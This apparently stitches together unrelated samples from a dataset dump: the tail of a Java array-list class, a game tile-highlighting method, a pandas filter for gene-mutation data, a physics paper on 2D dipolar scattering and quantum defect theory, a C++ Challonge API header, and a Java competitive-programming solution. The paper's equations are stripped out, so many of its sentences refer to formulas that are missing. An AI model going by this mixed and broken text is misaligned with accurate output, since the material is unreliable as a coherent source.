return isSuccessful;
}
@Override
public T getEntry(int givenPosition) {
T result = null;
if ((givenPosition >= 1) && (givenPosition <= numberOfEntries)) {
result = array[givenPosition - 1];
}
return result;
}
@Override
public boolean contains(T anEntry) {
boolean found = false;
for (int index = 0; !found && (index < numberOfEntries); index++) {
if (anEntry.equals(array[index])) {
found = true;
}
}
return found;
}
@Override
public int getNumberOfEntries() {
return numberOfEntries;
}
@Override
public boolean isEmpty() {
return numberOfEntries == 0;
}
@Override
public boolean isFull() {
return numberOfEntries == array.length;
}
@Override
public String toString() {
String outputStr = "";
for (int index = 0; index < numberOfEntries; ++index) {
outputStr += array[index] + "\n";
}
return outputStr;
}
/**
* Task: Makes room for a new entry at newPosition. Precondition: 1 <=
* newPosition <= numberOfEntries + 1; numberOfEntries is array's
numberOfEntries before addition.
*/
private void makeRoom(int newPosition) {
int newIndex = newPosition - 1;
int lastIndex = numberOfEntries - 1;
// move each entry to next higher index, starting at end of
// array and continuing until the entry at newIndex is moved
for (int index = lastIndex; index >= newIndex; index--) {
array[index + 1] = array[index];
}
}
/**
* Task: Shifts entries that are beyond the entry to be removed to the next
* lower position. Precondition: array is not empty; 1 <= givenPosition <
numberOfEntries; numberOfEntries is array's numberOfEntries before removal.
*/
private void removeGap(int givenPosition) {
// move each entry to next lower position starting at entry after the
// one removed and continuing until end of array
int removedIndex = givenPosition - 1;
int lastIndex = numberOfEntries - 1;
for (int index = removedIndex; index < lastIndex; index++) {
array[index] = array[index + 1];
}
}
}
|
/** Creates geometry to highlight the supplied set of movement tiles. */
protected void highlightMovementTiles (
PointSet set, PointSet goals, ColorRGBA highlightColor)
{
highlightTiles(set, goals, highlightColor, _movstate, true, true);
} |
def keep(data):
data = data[pd.notnull(data["Gene name"])]
data = data[pd.notnull(data["Gene CDS length"])]
data = data[pd.notnull(data["Mutation ID"])]
data = data[pd.notnull(data["Mutation Description"])]
data = data[(data.SNP != 'y')]
data = data[(data["Genome-wide screen"] == 'y')]
data = data[(data["Mutation Description"] != 'Unknown')]
data = data[(data["Mutation Description"] != 'Whole gene deletion')]
data = data.drop_duplicates(subset=["Mutation ID"])
data = data[~((data["Mutation Description"] == 'Substitution - Missense') &
(data["Mutation CDS"] == 'c.?'))]
data = data[~((data["Mutation Description"] == 'Substitution - Missense') &
pd.isnull(data["GRCh"]))]
data = data[~((data["Mutation Description"] == 'Substitution - Missense') &
pd.isnull(data["Mutation genome position"]))]
data = data.reset_index(drop=True)
return data |
Exact two-body solutions and Quantum defect theory of two dimensional dipolar quantum gas
In this paper, we provide the two-body exact solutions of two dimensional (2D) Schr\"{o}dinger equation with isotropic $\pm 1/r^3$ interactions. Analytic quantum defect theory are constructed base on these solutions and are applied to investigate the scattering properties as well as two-body bound states of ultracold polar molecules confined in a quasi-2D geometry. Interestingly, we find that for the attractive case, the scattering resonance happens simultaneously in all partial waves which has not been observed in other systems. The effect of this feature on the scattering phase shift across such resonances is also illustrated.
I. INTRODUCTION
In recent years, great progress has been made in the production of ultracold polar molecules thanks to the development of stimulated Raman adiabatic passage (STI-RAP) technique . Extensive experimental and theoretical efforts have been devoted to exploring the production of dipolar gases and to revealing exotic quantum phases resulting from the anisotropic nature and longrange character of the dipolar interaction . In three dimensions, the system is usually suffered from large chemical reaction rate leading to a very short life time . The reaction rate, however, can be greatly suppressed by confining the system to lower dimensionality and makes it possible to realize a stable quantum manybody system . As a result, a lot of efforts have been made in order to understand both two-body and manybody properties of dipolar quantum gases in two or one dimensional geometries . However, up to now, few analytical results are known even in the simple twobody problems due to the existence of long range 1/r 3 tail in the interaction potential.
In this paper, following a similar method developed for the three dimensional scattering problem under repulsive 1/r 3 and attractive 1/r 6 interaction , we present exact solutions, in the form of a generalized Neumann expansion, for the 2D quantum scattering problem with either repulsive or attractive isotropic 1/r 3 interactions. Both cases are relevant for current polar molecule experimental setups . With the help of these exact solutions, we will construct the analytic quantum defect theory (QDT) for realistic dipolar scattering in the quasi-2D confinement and investigate the corresponding scattering properties as well as the two-body bound states.
We start in Sec. II by summarizing the explicit form of our exact solutions and also give the long range and short range asymptotic behavior analytically. In Sec. III, to be more self contained, we briefly review the general scat- * Electronic address: [email protected] tering formula in 2D and provide the definition of phase shift and cross sections. In Sec. IV, we first introduce the experimental setups under our consideration for two different kinds of dipole-dipole scattering in quasi-2D geometry. Then we construct the analytic QDT for these two cases and present our results on the scattering properties. Finally, we conclude ourselves in Sec. V.
II. SOLUTIONS OF THE SCHRÖDINGER EQUATION
We consider the Schrödinger equation for ±1/r 3 type potentials in two spacial dimensions satisfied by the radial wave function ψ m (k, r): where u m (r) = ψ m (k, r)/ √ r, D = µd 2 / 2 is the dipolar length with µ and d being the reduced mass and dipole moment, ε = 2µε/ 2 = k 2 with ε and k the scattering energy and wave number, and m is angular momentum. The solutions for the three dimensional version of this type of equation are already provide in the repulsive case . We find that the method used in can be easily generalized to two spacial dimensions as well as to the attractive case and we will present the explicit form of our exact solutions to Eq. (1) in the following part of this section.
We found that there exists a pair of linearly independent solutions with energy-independent asymptotic behaviors near the origin (r ≪ D). The explicit form can be written as Here and below the plus and minus signs on the superscripts correspond to the repulsive and attractive inter-actions, respectively. Functions ξ ± εm (r) and η ± εm (r) in (2)-(5) are another pair of linearly independent solutions that takes the form of a generalized Neumann expansion: where with j being a positive integer, ∆ = kD/2 and The coefficient b 0 is a normalization constant which can be set to 1, and Q(ν) is given by a continued fraction where ε s is a scaled energy defined as .
The G εm (ν) function in (2)-(5) is defined as where C(ν) = lim j→∞ c j (ν). Finally, ν is a root of a characteristic function whereQ(ν) is defined as The solution of ν for Λ m (ν, ε s ) = 0 could either be real or complex depending on the scattering energy and angular momentum. The pair of solutions u ±1 εm and u ±2 εm have been defined in such a way that they have energy-independent behavior near the origin (r ≪ D), which are given as for both positive and negative energies. Note that the solution u +1 εm approaches zero exponentially in the limit r → 0 and thus is the physical solution for pure repulsive 1/r 3 interaction.
For positive scattering energy ε > 0, the asymptotic behaviors of u ±1 εm , u ±2 εm as r → ∞ are given as where l = m − 1/2. The matrix Z ij are dimensionless functions of m and scaled energy ε s which can be obtained analytically as where and X εm , Y εm are defined as These dimensionless Z + ij functions are the key quantities to calculate the scattering phase shifts which will be clear later.
For negative energy ε < 0, u ±1 εm , u ±2 εm have the following asymptotic behaviors as r → ∞ where the κ = √ −ε and W ij are also dimensionless functions of m and ε s : sin πν, (39) where we have defined Another important function which is usually called the χ function is defined as This function is useful in determining binding energy of the two-body bound state which will be clear in the following sections.
Finally, from the asymptotic behavior as r → 0 given in (16)- (19), it is easy to show that the solution pairs have the Wronskian given by Since the Wronskian is a constant that is independent of r, the asymptotic forms of solutions at large r should give the same result, which requires These relationships have been verified in our calculations which provides a nontrivial check for our solution.
III. GENERAL SCATTERING THEORY OF TWO-BODY PROBLEM IN TWO DIMENSION
In this section, to make our following discussions more self contained, we will briefly review the general theory of purely 2D elastic scattering under arbitrary interaction potential that decays faster than 1/r 2 . At inter-particle distance r → ∞ the wave function of two distinguishable colliding atoms is represented as a superposition of the incident plane wave and scattered circular wave where k is the relative momentum of the two particles under scattering, f (k, θ) is the scattering amplitude and θ is the angle between r and k. When expanding in the partial wave channels, we have where f m (k) and ψ m (k, r) are m−wave scattering amplitude and radial wave function, and we have where ψ 0 m (k, r) = i m J m (kr) is m partial wave component of incident plane wave e ik·r . Finally, using the asymptotic form of Bessel function J m (x) in the x → ∞ limit: where l = m − 1/2, and thus we have where δ m (k) is the m partial wave scattering phase shift which is related to scattering amplitude as The 2D total and partial cross section for two distinguishable particles are thus given as In the case of identical particles, the scattering wave function in Eq. (52) should be symmetrized(antisymmetrized) for bosons(fermions) and the cross sections have an extra factor 2 in the r.h.s. of Eq. (60). In this case, only even(odd) partial wave has nonzero contributions for bosonic(fermionic) particles.
IV. QUANTUM DEFECT THEORY FOR QUASI-2D DIPOLE-DIPOLE SCATTERING
We consider two different cases of dipole-dipole scattering when two polar molecules are strongly confined along z−axis with a confining length a ⊥ ≪ D, while moving freely in the x − y plane. Case I : by applying a strong static electric field perpendicular to the x − y plane, all dipole moments are aligned along z−axis. In this case the interaction between two polar molecules has an isotropic repulsive D/r 3 tail . Case II : one implements a strong electric field fast rotating within the x − y plane and thus generates a fast rotating dipolar moment in each polar molecule. In this case, the dipole-dipole interaction has an isotropic attractive −D/r 3 tail . In both cases, the inter molecular interaction will only deviate from the simple ±D/r 3 form at short distance when r a ⊥ ≪ D . As a result, the effect of this deviation can be encoded in a simple short range boundary condition . This justifies the implementation of quantum defect theory which will be constructed below.
For any two dimensional interaction with a long range ±D/r 3 tail, the radial part of scattering wave function in m-partial wave channel with energy ε can be generally written as ψ m (k, r) = u εm (r)/ √ r with u εm (r) given as where K c is usually called the quantum defect. At positive scattering energy, combining the asymptotic behavior of u 1,2 εm (r) given in (20), (21) with the definition of phase shift in (57), one immediately obtains the phase shift as As for two-body bound states, one should use the asymptotic behavior at negative energy as given in (34) and (35). Since a physical bound state must decay exponentially at large r, the binding energy E b can be determined by requiring the coefficient the of e κr term in u εm (r) to vanish. This leads to the following equation where the χ m (ε s ) has been defined earlier in Eq. (46). As analyzed above, since the interacting potential only deviate from ±D/r 3 within some short distance r 0 ≪ D, K c will be determined by the boundary condition at r 0 which is insensitive to neither energy nor angular momentum. In Fig. 1 we first illustrate how K c changes with the short range behavior of interacting potentials. We consider two different model potentials V ± (r) with ±D/r 3 tails but truncated at r 0 as shown in Fig. 1(a) and (b). For V + (r) = −V 0 θ(r 0 − r)+ θ(r − r 0 )D/r 3 we fix r 0 at 0.1D and change the short range potential depth V 0 , while for V − (r) = +∞θ(r 0 − r) − θ(r − r 0 )D/r 3 we just change the truncation radius r 0 at which a hard wall boundary condition is implemented.
From Fig. 1, one can see that K c has very different behaviors as one tunes the short range behaviors of the potential with repulsive and attractive 1/r 3 tail. In the repulsive case, as shown in Fig. 1(c), K c is nearly zero everywhere except in the vicinity of some extremely narrow shape resonances. This behavior is mainly due to the existence of a large repulsive barrier which makes the wave function almost unaffected by the short range attractive part of the potential. In contrast, for potential with an attractive tail the value of K c changes significantly and experiences a sequence of much wider resonances as one tunes the short range behavior, see 1(d). As a result, for the repulsive case, we will only consider the scattering in pure repulsive limit corresponding to K c = 0, while for the attractive case, we investigate both scattering and bound state properties across a shape resonance where K c can be tuned from −∞ to ∞.
A. Scattering for pure repulsive 1/r 3 potential In this case, one can set K c = 0 and the phase shift is given as In Fig. 2, we show the results of phase shift and partial cross section for the first four partial waves. One can see clearly that, in the low energy regime kD ≪ 1 the s-wave channel completely dominates over higher partial waves, while at higher energy when kD 1 all partial waves has non-negligible contributions. At very low scattering energy, the asymptotic behavior of phase shift can be obtained analytically from our exact solution. Below we provide the low energy expansion of tan δ + m for the first a few partial waves: where k s = kD,ā + 0 = exp(3γ)/2 is simply the dimensionless 2D s-wave scattering length andā + 1 = exp(3γ − 11/12)/2 with γ being the Euler's constant. For all m > 0 partial waves, the leading order behavior agrees with that from the first order Born approximation: while the sub leading terms in Eq. (65)-(68) are new in this work. These analytic expressions provide very good estimation for the phase shifts at low energy k s 1 as shown in Fig. 2 (dashed lines) and will be useful in many-body calculations .
B. Scattering and bound state for interaction with an attractive −1/r 3 tail In this case, a quantum defect K c is required to fix the scattering property as well as the bound states. The m−partial wave scattering phase shift is given by Eq. (62) as In Fig. 3, we show the scattering phase shift for the first four partial waves at different quantum defect K c .
Below we provide the low energy expansion of tan δ − for the first a few partial waves: whereā − m = exp(3γ − πK c − β m )/2 with β 0 = 0, β 1 = 11/12, β 2 = 23/6 and β 3 = 243/40. Comparing with the threshold behavior of phase shift for an s-wave contact interaction, one can see that the s-wave scattering length is still well defined through Eq. (71) and is given as Again, the leading order behavior agrees with that from the first order Born approximation for all m > 0 partial waves: The sub leading k 2 s ln |k sā − 1 | term in Eq. (72) also agrees with an earlier result obtained from a perturbative approach in .
As for two-body bound states, the binding energy for m partial wave is determined by The low energy expansion for χ m leads to the following approximate equation for the near threshold binding energy E b = −κ 2 in the limit −K c ≫ 1: For s-wave, the binding wave number κ satisfies where κ s = κD, Ω κ = ln(κ s e 3γ /2), and ζ(s) is the Riemann Zeta function. The leading order behavior in the limit a 0 → ∞ is simply E b = −1/a 2 0 . This is consistent with the fact that the s-wave scattering length is well defined through low energy behavior of m = 0 phase shift.
For higher partial waves, we find: where t = ln |πK c /2|−6γ +11/6 and E (m) b refers to binding energy for m partial wave. In Fig. 4, we show the results for the first a few bound states from numerically solving (77) and compare with the analytic formulas in Eq. (78)-(81). From these analytic behaviors for near shreshold binding energy, one can clearly see that the scattering resonances happen at K c → ∞ for all partial waves, at which a zero energy bound state appears for each partial wave channel. This resonant feature is also reflected in the scattering phase shifts as a rapid phase change at low scattering energy near the resonance, as illustrated in Fig. 3. It takes place at large negative and large positive value of K c for s-wave and higher partial waves, respectively. The location of this phase change corresponds to the pole of Eq. (71)-(74), which for s-wave simply gives to k ∼ 1/a 0 . Such features in two-body scattering phase shift suggests that near the scattering resonance, the non-zero partial waves may still have important contribution to the many-body interaction energy even in the dilute regime when nD 2 ≪ 1 where n is the particle density. Such influences in many-body physics will be left for future studies.
V. CONCLUSION
In this work, we for the first time present analytical solutions for 2D Schrödinger equation with both repulsive and attractive inverse cubic interactions. We constructed quantum defect theory base on these solution, and investigated the scattering properties and two-body bound states of two polar molecules confined in quasi-2D geometry with two different experimental setups. We provide both exact numerical and simple analytic low energy formula for the phase shifts and two-body binding energies, which could be useful in future many-body studies. In the attractive case, we identified a resonant feature that took place simultaneously in all partial wave channels which could have important effects in corresponding many-body system. |
//
// Created by PinkySmile on 18/01/2021.
//
#ifndef CHALLONGELIB_TIME_HPP
#define CHALLONGELIB_TIME_HPP
#include <ctime>
#include <string>
#include "json.hpp"
using json = nlohmann::json;
namespace ChallongeAPI
{
class Time {
private:
time_t _time;
public:
Time() = default;
Time(tm time);
Time(const std::string &ISOtimestamp);
void fromISO(const std::string &ISOtimestamp);
time_t getTimestamp() const;
operator time_t() const;
Time &operator=(const json &val);
};
}
#endif //CHALLONGELIB_TIME_HPP
|
import java.io.*;
import java.util.*;
import java.util.concurrent.ForkJoinTask;
public class Main
{
static StringBuilder ans = new StringBuilder();
static long per[];
static String s;
static int tCount = 0,te =0;
static int len;
static long mod = 1000000007;
public static int it(int ind, int upper)
{
int a;
int sum = 0;
// System.out.println(ind+" "+upper);
for(int i=ind;i<upper;i++)
{
a = (int)(s.charAt(i)-48);
if(a==0)
{
if(i==len-1)
te = 1;
return i+1;
}
sum+=a;
if(sum%3 == 0)
{
if(i==len-1)
te = 1;
return i+1;
}
}
return upper;
}
public static void utility(int ind)
{
int r = ind;
while(r<len)
{
r = len;
te = 0;
for(int i=ind;i<r;i++)
{
r = it(i, r);
}
if(r!=len)
{
tCount++;
}
else if(r==len)
{
if(te == 1)
tCount++;
}
// System.out.println("r"+r+"tCount"+tCount);
ind = r;
}
}
public static void main(String[] args) throws IOException
{
Reader in=new Reader();
s = in.next();
len = s.length();
// for(int i=0;i<len;i++)
// {
// for(int j=i;j<n;j++)
// {
// int a = (int)(s.charAt(i) - 48);
// }
// }
utility(0);
System.out.print(tCount);
}
///////////////////////////////
///////////////////////////////
///////////////////////////////
///////////////////////////////
///////////////////////////////
///////////////////////////////
///////////////////////////////
//String multiplication
static String pr(String a, long b)
{
String c="";
while(b>0)
{
if(b%2==1)
c=c.concat(a);
a=a.concat(a);
b>>=1;
}
return c;
}
// (a^b)%m
static long powm(long a, long b, long m)
{
long an=1;
long c=a;
while(b>0)
{
if(b%2==1)
an=(an*c)%m;
c=(c*c)%m;
b>>=1;
}
return an;
}
static class Reader {
public BufferedReader reader;
public StringTokenizer tokenizer;
public Reader() {
reader = new BufferedReader(new InputStreamReader(System.in), 32768);
tokenizer = null;
}
public String next() {
while (tokenizer == null || !tokenizer.hasMoreTokens()) {
try {
tokenizer = new StringTokenizer(reader.readLine());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return tokenizer.nextToken();
}
public int nextInt() {
return Integer.parseInt(next());
}
public long nextLong() {
return Long.parseLong(next());
}
public double nextDouble() {
return Double.parseDouble(next());
}
}
}
|
Subsets and Splits